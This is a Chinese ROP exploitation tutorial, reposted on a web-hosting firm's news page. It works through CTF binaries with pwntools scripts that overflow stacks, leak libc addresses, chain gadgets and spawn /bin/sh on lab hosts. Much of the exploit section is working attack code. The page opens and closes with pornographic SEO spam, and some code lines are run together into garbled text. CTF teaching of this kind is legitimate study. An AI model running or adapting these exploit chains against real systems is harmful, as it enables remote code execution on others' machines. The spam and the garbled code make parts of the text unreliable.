老熟女激烈的高潮_日韩一级黄色录像_亚洲1区2区3区视频_精品少妇一区二区三区在线播放_国产欧美日产久久_午夜福利精品导航凹凸

重慶分公司,新征程啟航

為企業提供網站建設、域名注冊、服務器等服務

什么是ROP技術

什么是ROP技術,相信很多沒有經驗的人對此束手無策,為此本文總結了問題出現的原因和解決方法,通過這篇文章希望你能解決這個問題。

創新互聯建站專注于肅北企業網站建設,成都響應式網站建設公司,商城網站定制開發。肅北網站建設公司,為肅北等地區提供建站服務。全流程按需定制網站,專業設計,全程項目跟蹤,創新互聯建站專業和態度為您提供的服務

0x00 背景

顯然,如果某一頁內存沒有可寫(W)屬性,我們就無法向里面寫入代碼,如果沒有可執行(X)屬性,寫入到內存頁中的shellcode就無法執行。關于這個特性的實驗在此不做展開,大家可以嘗試在調試時修改EIP和read()/scanf()/gets()等函數的參數來觀察操作無對應屬性內存的結果。那么我們怎么看某個ELF文件中是否有RWX內存頁呢?首先我們可以在靜態分析和調試中使用IDA的快捷鍵Ctrl + S
什么是ROP技術

什么是ROP技術

或者同上一篇教程中的方法,使用pwntools自帶的checksec命令檢查程序是否帶有RWX段。當然,由于程序可能在運行中調用mprotect(), mmap()等函數動態修改或分配具有RWX屬性的內存頁,以上方法均可能存在誤差。

既然攻擊者們能想到在RWX段內存頁中寫入shellcode并執行,防御者們也能想到,因此,一種名為NX位(No eXecute bit)的技術出現了。這是一種在CPU上實現的安全技術,這個位將內存頁以數據和指令兩種方式進行了分類。被標記為數據頁的內存頁(如棧和堆)上的數據無法被當成指令執行,即沒有X屬性。由于該保護方式的使用,之前直接向內存中寫入shellcode執行的方式顯然失去了作用。因此,我們就需要學習一種著名的繞過技術——ROP(Return-Oriented Programming, 返回導向編程)

顧名思義,ROP就是使用返回指令ret連接代碼的一種技術(同理還可以使用jmp系列指令和call指令,有時候也會對應地成為JOP/COP)。一個程序中必然會存在函數,而有函數就會有ret指令。我們知道,ret指令的本質是pop eip,即把當前棧頂的內容作為內存地址進行跳轉。而ROP就是利用棧溢出在棧上布置一系列內存地址,每個內存地址對應一個gadget,即以ret/jmp/call等指令結尾的一小段匯編指令,通過一個接一個的跳轉執行某個功能。由于這些匯編指令本來就存在于指令區,肯定可以執行,而我們在棧上寫入的只是內存地址,屬于數據,所以這種方式可以有效繞過NX保護。


0x01 使用ROP調用got表中函數

首先我們來看一個x86下的簡單ROP,我們將通過這里例子演示如何調用一個存在于got表中的函數并控制其參數。我們打開~/RedHat 2017-pwn1/pwn1。可以很明顯看到main函數存在棧溢出:

什么是ROP技術變量v1的首地址在bp-28h處,即變量在棧上,而輸入使用的__isoc99_scanf不限制長度,因此我們的過長輸入將會造成棧溢出。

什么是ROP技術

程序開啟了NX保護,所以顯然我們不可能用shellcode打開一個shell。根據之前文章的思路,我們很容易想到要調用system函數執行system(“/bin/sh”)。那么我們從哪里可以找到system”/bin/sh”呢?

第一個問題,我們知道使用動態鏈接的程序導入庫函數的話,我們可以在GOT表和PLT表中找到函數對應的項(稍后的文章中我們將詳細解釋)。跳轉到.got.plt段,我們發現程序里居然導入了system函數。

什么是ROP技術

解決了第一個問題之后我們就需要考慮第二個問題。通過對程序的搜索我們沒有發現字符串“/bin/sh”,但是程序里有__isoc99_scanf,我們可以調用這個函數來讀取”/bin/sh”字符串到進程內存中。下面我們來開始構建ROP鏈。

首先我們考慮一下“/bin/sh”字符串應該放哪。通過調試時按Ctrl+S快捷鍵查看程序的內存分段,我們看到0x0804a030開始有個可讀可寫的大于8字節的地址,且該地址不受ASLR影響,我們可以考慮把字符串讀到這里。什么是ROP技術接下來我們找到__isoc99_scanf的另一個參數“%s”,位于0x08048629

什么是ROP技術

接著我們使用pwntools的功能獲取到__isoc99_scanf在PLT表中的地址,PLT表中有一段stub代碼,將EIP劫持到某個函數的PLT表項中我們可以直接調用該函數。我們知道,對于x86的應用程序來說,其參數從右往左入棧。因此,現在我們就可以構建出一個ROP鏈。
`from pwn import *

context.update(arch = 'i386', os = 'linux', timeout = 1)
io = remote('172.17.0.3', 10001)

elf = ELF('./pwn1')
scanf_addr = p32(elf.symbols['__isoc99_scanf'])
format_s = p32(0x08048629)
binsh_addr = p32(0x0804a030)

shellcode1 = 'A'*0x34
shellcode1 += scanf_addr
shellcode1 += format_s
shellcode1 += binsh_addr

print io.read()
io.sendline(shellcode1)
io.sendline(“/bin/sh”) 我們來測試一下。 通過調試我們可以看到,當EIP指向retn時,棧上的數據和我們的預想一樣,棧頂是plt表中__isoc99_scanf的首地址,緊接著是兩個參數。 ![](data/attachment/album/201807/06/113538drglfgfgrrlmrtry.png) 我們繼續跟進執行,在libc中執行一會兒之后,我們收到了一個錯誤 ![](data/attachment/album/201807/06/113544p5333t7qe797qgbt.png) 這是為什么呢?我們回顧一下之前的內容。我們知道call指令會將call指令的下一條指令地址壓入棧中,當被call調用的函數運行結束后,ret指令就會取出被call指令壓入棧中的地址傳輸給EIP。但是在這里我們繞過call直接調用了__isoc99_scanf,沒有像call指令一樣向棧壓入一個地址。此時函數認為返回地址是緊接著scanf_addrformat_s,而第一個參數就變成了binsh_addr`
call調用函數的情況

08048557  mov   [esp+4], eax0804855B  mov   dword ptr [esp], offset unk_8048629                
08048562  call    ___isoc99_scanf                
08048567  lea     eax, [esp+18h]

什么是ROP技術什么是ROP技術什么是ROP技術從兩種調用方式的比較上我們可以看到,由于少了call指令的壓棧操作,如果我們在布置棧的時候不模擬出一個壓入棧中的地址,被調用函數的取到的參數就是錯位的。所以我們需要改良一下ROP鏈。根據上面的描述,我們應該在參數和保存的EIP中間放置一個執行完的返回地址。鑒于我們調用scanf讀取字符串后還要調用system函數,我們讓__isoc99_scanf執行完后再次返回到main函數開頭,以便于再執行一次棧溢出。改良后的ROP鏈如下:什么是ROP技術我們再次進行調試,發現這回成功調用__isoc99_scanf”/bin/sh”字符串讀取到地址0x0804a030什么是ROP技術

此時程序再次從main函數開始執行。由于棧的狀態發生了改變,我們需要重新計算溢出的字節數。然后再次利用ROP鏈調用system執行system(“/bin/sh”),這個ROP鏈可以模仿上一個寫出來,完整的腳本也可以在對應文件夾中找到,此處不再贅述。

接下來讓我們來看看64位下如何使用ROP調用got表中的函數。我們打開文件~/bugs bunny ctf 2017-pwn150/pwn150,很容易就可以發現溢出出現在Hello()里什么是ROP技術和上一個例子一樣,由于程序開啟了NX保護,我們必須找到system函數和”/bin/sh”字符串。程序在main函數中調用了自己定義的一個叫today的函數,執行了system(“/bin/date”),那么system函數就有了。至于”/bin/sh”字符串,雖然程序中沒有,但是我們找到了”sh”字符串,利用這個字符串其實也可以開shell什么是ROP技術

OK,現在我們有了棧溢出點,有了system函數,有了字符串”sh”,可以嘗試開shell了。首先我們要解決傳參數的問題。和x86不同,在x64下通常參數從左到右依次放在rdi, rsi, rdx, rcx, r8, r9,多出來的參數才會入棧(根據調用約定的方式可能有不同,通常是這樣),因此,我們就需要一個給RDI賦值的辦法。由于我們可以控制棧,根據ROP的思想,我們需要找到的就是pop rdi; ret,前半段用于賦值rdi,后半段用于跳到其他代碼片段。

有很多工具可以幫我們找到ROP gadget,例如pwntools自帶的ROP類,ROPgadget、rp++、ropeme等。在這里我使用的是ROPgadget(https://github.com/JonathanSalwan/ROPgadget)

通過ROPgadget --binary 指定二進制文件,使用grep在輸出的所有gadgets中尋找需要的片段什么是ROP技術這里有一個小trick。首先,我們看一下IDA中這個地址的內容是什么。什么是ROP技術我們可以發現并沒有0x400883這個地址,0x400882pop r15, 接下來就是0x400884retn,那么這個pop rdi會不會是因為ROPgadget出bug了呢?別急,我們選擇0x400882,按快捷鍵D轉換成數據。什么是ROP技術然后選擇0x400883按C轉換成代碼什么是ROP技術

我們可以看出來pop rdi實際上是pop r15的“一部分”。這也再次驗證了匯編指令不過是一串可被解析為合法opcode的數據的別名。只要對應的數據所在內存可執行,能被轉成合法的opcode,跳轉過去都是不會有問題的。

現在我們已經準備好了所有東西,可以開始構建ROP鏈了。這回我們直接調用call system指令,省去了手動往棧上補返回地址的環節,腳本如下:什么是ROP技術進行調試,發現開shell成功。什么是ROP技術retn跳轉到0x400883處的gadget:pop rdi; ret什么是ROP技術pop rdi將”sh”字符串所在地址0x4003ef賦值給rdi什么是ROP技術

retn跳轉到call system處

0x02 使用ROP調用int 80h/syscall
在上一節中,我們接觸到了一種最簡單的使用ROP的場景。但是現實的情況是很多情況下目標程序并不會導入system函數。在這種情況下我們就需要通過其他方法達到目標。在這一節中我們首先學習的是通過ROP調用int 80h/syscall
關于int 80h/syscall,在上一篇文章的《系統調用》一節中已經做了介紹,現在我們來看例子~/Tamu CTF 2018-pwn5/pwn5.這個程序的主要功能在print_beginning()實現。什么是ROP技術這個函數有大量的puts()和printf()輸出提示,要求我們輸入first_name, last_name和major三個字符串到三個全局變量里,然后選擇是否加入Corps of Cadets。不管選是還是否都會進入一個差不多的函數什么是ROP技術我們可以看到只有選擇選項2才會調用函數change_major(),其他選項都只是打印出一些內容。進入change_major()后,我們發現了一個棧溢出:什么是ROP技術發現了溢出點后,我們就可以開始構思怎么getshell了。就像開頭說的那樣,這個程序里找不到system函數。但是我們用ROPGadget --binary pwn5 | grep “int 0x80”找到了一個可用的gadget什么是ROP技術回顧一下上一篇文章,我們知道在http://syscalls.kernelgrok.com/ 上可以找到sys_execve調用,同樣可以用來開shell,這個系統調用需要設置5個寄存器,其中eax = 11 = 0xb, ebx = &(“/bin/sh”), ecx = edx = edi = 0. “/bin/sh”我們可以在前面輸入到地址固定的全局變量中。接下來我們就要通過ROPgadget搜索pop eax/ebx/ecx/edx/esi; ret了。什么是ROP技術pop eax; pop ebx; pop esi; pop edi; ret什么是ROP技術pop edx; pop ecx; pop ebx; ret什么是ROP技術構建ROP鏈和腳本如下:什么是ROP技術調試時發現執行失敗了,ROP鏈并沒有被讀進去什么是ROP技術什么是ROP技術

這是為什么呢?

我們輸出payload后發現0x080150a里面有兩個0x0a,即“\n”什么是ROP技術在輸入的時候,我們會使用回車鍵”\n”代表輸入結束,顯然這邊也是受到了這個控制字符的影響,因此我們需要重新挑選gadgets。我們把gadget換成這一條什么是ROP技術修改腳本發現成功getshell

0x03 從給定的libc中尋找gadget


有時候pwn題目也會提供一個pwn環境里對應版本的libc。在這種情況下,我們就可以通過泄露出某個在libc中的內容在內存中的實際地址,通過計算偏移來獲取system和“/bin/sh”的地址并調用。這一節的例子是~/Security Fest CTF 2016-tvstation/tvstation. 這是一個比較簡單的題目,題目中除了顯示出來的三個選項之外還有一個隱藏的選項4,選項4會直接打印出system函數在內存中的首地址:什么是ROP技術什么是ROP技術從IDA中我們可以看到打印完地址后執行了函數debug_func(),進入函數debug_func()之后我們發現了溢出點什么是ROP技術由于這個題目給了libc,且我們已經泄露出了system的內存地址。使用命令readelf -a 查看libc.so.6_x64什么是ROP技術

從這張圖上我們可以看出來.text節(Section)屬于第一個LOAD段(Segment),這個段的文件長度和內存長度是一樣的,也就是說所有的代碼都是原樣映射到內存中,代碼之間的相對偏移是不會改變的。由于前面的PHDR, INTERP兩個段也是原樣映射,所以在IDA里看到的system首地址距離文件頭的地址偏移和運行時的偏移是一樣的。如:

在這個libc中system函數首地址是0x456a0,即從文件的開頭數0x456a0個字節到達system函數什么是ROP技術

什么是ROP技術什么是ROP技術調試程序,發現system在內存中的地址是0x7fb5c8c266a0什么是ROP技術0x7fb5c8c266a0 -0x456a0 =0x7fb5c8be1000?什么是ROP技術

根據這個事實,我們就可以通過泄露出來的libc中的函數地址獲取libc在內存中加載的首地址,從而以此跳轉到其他函數的首地址并執行。

在libc中存在字符串”/bin/sh”,該字符串位于.data節,根據同樣的原理我們也可以得知這個字符串距libc首地址的偏移

什么是ROP技術還有用來傳參的gadget :pop rdi; ret什么是ROP技術據此我們可以構建腳本如下

#!/usr/bin/python#coding:utf-8from pwn import *

io = remote('172.17.0.2', 10001)

io.recvuntil(": ")
io.sendline('4')                                        #跳轉到隱藏選項io.recvuntil("@0x")
system_addr = int(io.recv(12), 16)        #讀取輸出的system函數在內存中的地址libc_start = system_addr - 0x456a0        #根據偏移計算libc在內存中的首地址pop_rdi_addr = libc_start + 0x1fd7a        #pop rdi; ret 在內存中的地址,給system函數傳參binsh_addr = libc_start + 0x18ac40        #"/bin/sh"字符串在內存中的地址payload = ""payload += 'A'*40                                        #paddingpayload += p64(pop_rdi_addr)                #pop rdi; retpayload += p64(binsh_addr)                        #system函數參數payload += p64(system_addr)                        #調用system()執行system("/bin/sh")io.sendline(payload)

io.interactive()

0x04 一些特殊的gadgets

這一節主要介紹兩個特殊的gadgets。第一個gadget經常被稱作通用gadgets,通常位于x64的ELF程序中的__libc_csu_init中,如下圖所示:什么是ROP技術這張圖片里包含了兩個gadget,分別是什么是ROP技術

我們知道在x64的ELF程序中向函數傳參,通常順序是rdi, rsi, rdx, rcx, r8, r9, 棧,以上三段gadgets中,第一段可以設置r12-r15,接上第三段使用已經設置的寄存器設置rdi, 接上第二段設置rsi, rdx, rbx,最后利用r12+rbx*8可以call任意一個地址。在找gadgets出現困難時,可以利用這個gadgets快速構造ROP鏈。需要注意的是,用萬能gadgets的時候需要設置rbp=1,因為call qword ptr [r12+rbx*8]之后是add rbx, 1; cmp rbx, rbp; jnz xxxxxx。由于我們通常使rbx=0,從而使r12+rbx*8 = r12,所以call指令結束后rbx必然會變成1。若此時rbp != 1,jnz會再次進行call,從而可能引起段錯誤。那么這段gadgets怎么用呢?我們來看一下例子~/LCTF 2016-pwn100/pwn100

這個例子提供了libc,溢出點很明顯,位于0x40063d什么是ROP技術我們需要做的就是泄露一個got表中函數的地址,然后計算偏移調用system。前面的代碼很簡單,我們就不做介紹了

#!/usr/bin/python#coding:utf-8from pwn import *

io = remote("172.17.0.3", 10001)
elf = ELF("./pwn100")

puts_addr = elf.plt['puts']
read_got = elf.got['read']

start_addr = 0x400550pop_rdi = 0x400763universal_gadget1 = 0x40075a           #萬能gadget1:pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; retnuniversal_gadget2 = 0x400740        #萬能gadget2:mov rdx, r13; mov rsi, r14; mov edi, r15d; call qword ptr [r12+rbx*8]binsh_addr = 0x60107c                        #bss放了STDIN和STDOUT的FILE結構體,修改會導致程序崩潰payload = "A"*72                                #paddingpayload += p64(pop_rdi)                        #payload += p64(read_got)
payload += p64(puts_addr)
payload += p64(start_addr)                #跳轉到start,恢復棧payload = payload.ljust(200, "B")        #paddingio.send(payload)
io.recvuntil('bye~\n')
read_addr = u64(io.recv()[:-1].ljust(8, '\x00'))log.info("read_addr = %#x", read_addr)
system_addr = read_addr - 0xb31e0log.info("system_addr = %#x", system_addr)

為了演示萬能gadgets的使用,我們選擇再次通過調用read函數讀取/bin/sh\x00字符串,而不是直接使用偏移。首先我們根據萬能gadgets布置好棧

payload = "A"*72                        #padding
payload += p64(universal_gadget1)        #萬能gadget1
payload += p64(0)                        #rbx = 0payload += p64(1)                        #rbp = 1,過掉后面萬能gadget2的call返回后的判斷
payload += p64(read_got)        #r12 = got表中read函數項,里面是read函數的真正地址,直接通過call調用
payload += p64(8)                        #r13 = 8,read函數讀取的字節數,萬能gadget2賦值給rdxpayload += p64(binsh_addr)        #r14 = read函數讀取/bin/sh保存的地址,萬能gadget2賦值給rsipayload += p64(0)                        #r15 = 0,read函數的參數fd,即STDIN,萬能gadget2賦值給edipayload += p64(universal_gadget2)        #萬能gadget2


我們是不是應該直接在payload后面接上返回地址呢?不,我們回頭看一下universal_gadget2的執行流程

由于我們的構造,上面的那塊代碼只會執行一次,然后流程就將跳轉到下面的loc_400756,這一系列操作將會抬升8*7共56字節的??臻g,因此我們還需要提供56個字節的垃圾數據進行填充,然后再拼接上retn要跳轉的地址。

payload += '\x00'*56                #萬能gadget2后接判斷語句,過掉之后是萬能gadget1,用于填充棧payload += p64(start_addr)        #跳轉到start,恢復棧payload = payload.ljust(200, "B")        #padding接下來就是常規操作getshell
io.send(payload)
io.recvuntil('bye~\n')
io.send("/bin/sh\x00")                #上面的一段payload調用了read函數讀取"/bin/sh\x00",這里發送字符串payload = "A"*72                                #paddingpayload += p64(pop_rdi)                        #給system函數傳參payload += p64(binsh_addr)                #rdi = &("/bin/sh\x00")payload += p64(system_addr)                #調用system函數執行system("/bin/sh")payload = payload.ljust(200, "B")        #paddingio.send(payload)
io.interactive()

我們介紹的第二個gadget通常被稱為one gadget RCE,顧名思義,通過一個gadget遠程執行代碼,即getshell。我們通過例子~/TJCTF 2016-oneshot/oneshot演示一下這個gadget的威力。
要利用這個gadget,我們需要一個對應環境的libc和一個工具one_gadget(https://github.com/david942j/one_gadget)。這個程序沒有棧溢出,其代碼非常簡單

從紅框中的代碼我們看到地址rbp+var_8被作為__isoc99_scanf的第二個參數賦值給rsi,即輸入被保存在這里。隨后rbp+var_8中的內容被賦值給rax,又被賦值給rdx,最后通過call rdx執行。也就是說我們輸入一個數字,這個數字會被當成地址使用call調用。由于只能控制4字節,我們就需要用到one gadget RCE來一步getshell。我們通過one_gadget找到一些gadget:我們看到這些gadget有約束條件。我們選擇第一條,要求rax=0。我們構建腳本進行調試:

#!/usr/bin/python#coding:utf-8from pwn import *

one_gadget_rce = 0x45526#one_gadget libc.so.6_x64#0x45526        execve("/bin/sh", rsp+0x30, environ)#constraints:#  rax == NULLsetbuf_addr = 0x77f50        
setbuf_got = 0x600ae0io = remote("172.17.0.2", 10001)

io.sendline(str(setbuf_got))
io.recvuntil("Value: ")
setbuf_memory_addr = int(io.recv()[:18], 16)        #通過打印got表中setbuf項的內容泄露setbuf在內存中的首地址io.sendline(str(setbuf_memory_addr - (setbuf_addr - one_gadget_rce)))        #通過偏移計算one_gadget_rce在內存中的地址io.interactive()


執行到call rdx時rax = 0

getshell成功

看完上述內容,你們掌握什么是ROP技術的方法了嗎?如果還想學到更多技能或想了解更多相關內容,歡迎關注創新互聯行業資訊頻道,感謝各位的閱讀!


分享題目:什么是ROP技術
鏈接地址:http://www.xueling.net.cn/article/jcjeij.html

其他資訊

在線咨詢
服務熱線
服務熱線:028-86922220
TOP
主站蜘蛛池模板: 国产一区二区久久 | 亚洲国产成人久久综合碰 | av毛片一区二区三区 | 69av在线免费观看 | 亚洲成人aaa | 欧美在线一区二区三区四区 | 亚洲在线日韩 | 日韩一区二区三区四区 | 777奇米影视在线观看 | 中国xxxx真实偷拍老妇 | 夜色资源站www国产在线观看 | 久久久久久久久久穴 | 毛片美女 | 中文字幕一区二区三 | 国产精品99久 | 99久久这里只有精品 | 看看黄色毛片 | 久草免费视 | 欧美视频网站 | 久久久亚洲欧洲日产AV | 日韩高清在线观看不卡一区二区 | 国产熟熟 | 超碰高清在线 | 色哟哟国产成人精品免费 | 久久中文字幕无码中文字幕有码 | 亚洲特黄a级毛片在线播放 女18一级大黄毛片免费女人 | 2021亚洲国产精品无码 | 成人美女黄网站色大免费的 | 91多人xxx少妇 | 久久国产亚洲婷婷六月丁香 | 2023av在线| 把女邻居弄到潮喷的性经历 | 国产va免费精品高清在线 | 97人人模人人爽人人少妇 | av亚洲一区 | 成人一区av | 成人观看视频 | 特黄特色大片免费播放器图片 | 一级黄色美女片 | 免费在线日韩 | 国产一区一区三区 |